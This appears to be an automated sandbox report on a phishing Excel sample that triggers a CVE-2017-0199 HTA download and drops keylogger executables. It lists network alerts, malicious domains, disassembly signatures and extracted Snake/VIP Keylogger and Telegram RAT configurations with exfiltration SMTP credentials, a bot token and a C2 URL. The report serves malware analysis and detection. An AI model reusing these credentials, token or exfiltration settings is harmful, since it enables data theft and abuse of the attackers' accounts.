ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 132.226.8.169

Timestamp:	2024-08-13T20:25:13.446448+0200
SID:	2803274
Severity:	2
Source Port:	49183
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.22 - Destination IP: 188.114.97.3

Timestamp:	2024-08-13T20:25:04.331026+0200
SID:	2803305
Severity:	3
Source Port:	49184
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.22 - Destination IP: 188.114.96.3

Timestamp:	2024-08-13T20:24:50.568228+0200
SID:	2803305
Severity:	3
Source Port:	49168
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl - Source IP: 192.168.2.22 - Destination IP: 192.3.176.138

Timestamp:	2024-08-13T20:24:25.427448+0200
SID:	2024449
Severity:	1
Source Port:	49162
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 193.122.6.168

Timestamp:	2024-08-13T20:25:30.980799+0200
SID:	2803274
Severity:	2
Source Port:	49194
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.22 - Destination IP: 188.114.97.3

Timestamp:	2024-08-13T20:25:02.001202+0200
SID:	2803305
Severity:	3
Source Port:	49182
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 158.101.44.242

Timestamp:	2024-08-13T20:24:50.130991+0200
SID:	2803274
Severity:	2
Source Port:	49166
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl - Source IP: 192.168.2.22 - Destination IP: 192.3.176.138

Timestamp:	2024-08-13T20:24:29.441030+0200
SID:	2024449
Severity:	1
Source Port:	49164
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 132.226.8.169

Timestamp:	2024-08-13T20:25:03.875237+0200
SID:	2803274
Severity:	2
Source Port:	49181
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://aborters.duckdns.org:8081	URL Reputation: Label: malware
Source: http://anotherarmy.dns.army:8081	URL Reputation: Label: malware
Source: https://exi.link/JkAPbLp	Avira URL Cloud: Label: phishing
Source: https://exi.link/JkAPbLAA	Avira URL Cloud: Label: phishing
Source: https://exi.link/a	Avira URL Cloud: Label: phishing
Source: https://exi.link/JkAPbLEA	Avira URL Cloud: Label: phishing
Source: https://exi.link/S-	Avira URL Cloud: Label: phishing
Source: https://exi.link/JkAPbLyX	Avira URL Cloud: Label: phishing
Source: https://exi.link/JkAPbL	Avira URL Cloud: Label: phishing
Source: https://exi.link/	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Avira: detection malicious, Label: TR/Dropper.MSIL.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\sihost[1].exe	Avira: detection malicious, Label: TR/Dropper.MSIL.Gen
Source: C:\Users\user\AppData\Roaming\sihost.exe	Avira: detection malicious, Label: TR/Dropper.MSIL.Gen

Found malware configuration

Source: 00000011.00000002.625935756.0000000002691000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "jyotis@sixilncoln.com", "Password": "yUiavQX8", "Host": "us2.smtp.mailhostbox.com", "Port": "587"}
Source: 12.2.sihost.exe.43da760.5.raw.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Bot Token": "7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU", "Chat id": "403948698", "Email ID": "yUiavQX8", "Password": "us2.smtp.mailhostbox.com", "Host": "favourcloning@gmail.com", "Port": "587", "Version": "4.4"}
Source: bKVNuVuE.exe.3560.29.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendMessage"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\sihost[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Roaming\sihost.exe	ReversingLabs: Detection: 42%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\sihost[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\sihost.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49167 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49180 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49180 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 159.203.133.15:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 159.203.133.15:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49199 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49202 version: TLS 1.2

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.pdbhP source: powershell.exe, 00000007.00000002.438678228.0000000002876000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.pdb source: powershell.exe, 00000007.00000002.438678228.0000000002876000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\mshta.exe

Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	17_2_003669F0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 003695C1h	17_2_00369300
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00366544h	17_2_003663A8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 003676B5h	17_2_003674C8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0036803Fh	17_2_003674C8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00369B83h	17_2_00369770
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0036F461h	17_2_0036F181
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	17_2_00367201
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00369B83h	17_2_00369A08
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00369B83h	17_2_00369AB2
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0036FD91h	17_2_0036FAB1
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0036EFC9h	17_2_0036ECE8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00366544h	17_2_00366593
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0036F8F9h	17_2_0036F619
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00366544h	17_2_00366605
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0036EB31h	17_2_0036E765
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00498A42h	17_2_00498748
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049A22Ah	17_2_00499F30
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00490311h	17_2_00490040
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00497111h	17_2_00496E40
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00494321h	17_2_00494050
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049B54Ah	17_2_0049B250
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00492339h	17_2_00492068
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00499D62h	17_2_00499A68
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00496349h	17_2_00496078
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049F372h	17_2_0049F078
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004910D9h	17_2_00490E08
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00497ED9h	17_2_00497C08
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049FD02h	17_2_0049FA08
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004950E9h	17_2_00494E18
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00498F0Ah	17_2_00498C10
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049E51Ah	17_2_0049E220
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049CD32h	17_2_0049CA38
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00493101h	17_2_00492E30
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00493599h	17_2_004932C8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049ABBAh	17_2_0049A8C0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004907A9h	17_2_004904D8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004975A9h	17_2_004972D8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004993D2h	17_2_004990D8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004947B9h	17_2_004944E8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049E9E2h	17_2_0049E6E8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049DB8Ah	17_2_0049D890
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049C3A2h	17_2_0049C0A8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00491571h	17_2_004912A0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00498412h	17_2_004980A0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00495581h	17_2_004952B0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00495A19h	17_2_00495748
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049F83Ah	17_2_0049F540
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049E052h	17_2_0049DD58
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00493A31h	17_2_00493760
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00490C41h	17_2_00490970
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00497A41h	17_2_00497770
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049C86Ah	17_2_0049C570
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004927D1h	17_2_00492500
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049D1FAh	17_2_0049CF00
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049BA12h	17_2_0049B718
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004967E1h	17_2_00496510
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00491A09h	17_2_00491738
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049D6C2h	17_2_0049D3C8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00491EA1h	17_2_00491BD0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00495EB1h	17_2_00495BE0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049BEDAh	17_2_0049BBE0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00493EA1h	17_2_00493BF8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049A6F2h	17_2_0049A3F8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049B082h	17_2_0049AD88
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00494C51h	17_2_00494980
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00492C69h	17_2_00492998
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00496C7Ah	17_2_004969A8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049989Ah	17_2_004995A0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0049EEAAh	17_2_0049EBB0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004B033Ah	17_2_004B0040
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004B4162h	17_2_004B3E68
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004B330Ah	17_2_004B3010
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004B1B22h	17_2_004B1828
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004B37D2h	17_2_004B34D8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004B1FEAh	17_2_004B1CF0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004B297Bh	17_2_004B2680
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004B1192h	17_2_004B0E98
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004B2E42h	17_2_004B2B48
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004B165Ah	17_2_004B1360
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004B0802h	17_2_004B0508
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004B0CCAh	17_2_004B09D0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004B3C9Ah	17_2_004B39A0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 004B24B2h	17_2_004B21B8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067AD11h	17_2_0067AA68
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067BA19h	17_2_0067B770
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00673319h	17_2_00673070
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00674021h	17_2_00673D78
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067C721h	17_2_0067C478
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067EC49h	17_2_0067E978
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067FA11h	17_2_0067F740
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00676FE9h	17_2_00676D40
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00677CF1h	17_2_00677A48
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 006789F9h	17_2_00678750
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00679701h	17_2_00679458
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067C2C9h	17_2_0067C020
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00673BC9h	17_2_00673920
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067CFD1h	17_2_0067CD28
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 006748D1h	17_2_00674628
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 006755D9h	17_2_00675330
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067DCD9h	17_2_0067DA30
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 006762E1h	17_2_00676038
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 006792A9h	17_2_00679000
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067F0E1h	17_2_0067EE10
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067B5C1h	17_2_0067B318
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00675E89h	17_2_00675BE0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067E7B1h	17_2_0067E4E0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00676B91h	17_2_006768E8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00677899h	17_2_006775F0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 006785A1h	17_2_006782F8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067B169h	17_2_0067AEC0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067BE71h	17_2_0067BBC8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00673771h	17_2_006734C8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067CB7Bh	17_2_0067C8D0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00674479h	17_2_006741D0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00675181h	17_2_00674ED8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067D881h	17_2_0067D5D8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00678149h	17_2_00677EA0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067F579h	17_2_0067F2A8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00678E51h	17_2_00678BA8
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00679B59h	17_2_006798B0
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067D429h	17_2_0067D180
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00674D29h	17_2_00674A80
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00675A31h	17_2_00675788
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 0067E1C5h	17_2_0067DE88
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00676739h	17_2_00676490
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then jmp 00677441h	17_2_00677198
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	17_2_009D5F38
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then push 00000000h	17_2_009D7FD3
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	17_2_009D29CE
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	17_2_009D2E16
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	17_2_009D2B00
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	17_2_009D5F28
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	17_2_009D2A50
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00379449h	29_2_00379188
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	29_2_00376C80
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00379A0Bh	29_2_003795F8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00377945h	29_2_00377758
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 003782CFh	29_2_00377758
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 003767D4h	29_2_00376823
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0037F2E9h	29_2_0037F009
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00379A0Bh	29_2_0037993A
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0037FC19h	29_2_0037F939
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	29_2_003772B2
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0037EE51h	29_2_0037EB70
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0037F781h	29_2_0037F4A1
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	29_2_00377491
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 003767D4h	29_2_00376638
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00477ED9h	29_2_00477C08
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00478A42h	29_2_00478748
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00470311h	29_2_00470040
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00474321h	29_2_00474050
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00472339h	29_2_00472068
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00476349h	29_2_00476078
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047F372h	29_2_0047F078
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00478F0Ah	29_2_00478C10
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047ABBAh	29_2_0047A8C0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 004707A9h	29_2_004704D8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 004793D2h	29_2_004790D8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 004747B9h	29_2_004744E8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047DB8Ah	29_2_0047D890
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00478412h	29_2_004780A0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047C3A2h	29_2_0047C0A8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047F83Ah	29_2_0047F540
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047E052h	29_2_0047DD58
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00470C41h	29_2_00470970
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047C86Ah	29_2_0047C570
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 004727D1h	29_2_00472500
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 004767E1h	29_2_00476510
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00474C51h	29_2_00474980
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047B082h	29_2_0047AD88
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00472C69h	29_2_00472998
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047989Ah	29_2_004795A0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00476C7Ah	29_2_004769A8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00477111h	29_2_00476E40
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047B54Ah	29_2_0047B250
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00479D62h	29_2_00479A68
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 004710D9h	29_2_00470E08
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047FD02h	29_2_0047FA08
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 004750E9h	29_2_00474E18
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047E51Ah	29_2_0047E220
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00473101h	29_2_00472E30
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047CD32h	29_2_0047CA38
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00473599h	29_2_004732C8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 004775A9h	29_2_004772D8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047E9E2h	29_2_0047E6E8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00471571h	29_2_004712A0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00475581h	29_2_004752B0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00475A19h	29_2_00475748
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00473A31h	29_2_00473760
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00477A41h	29_2_00477770
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047D1FAh	29_2_0047CF00
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047BA12h	29_2_0047B718
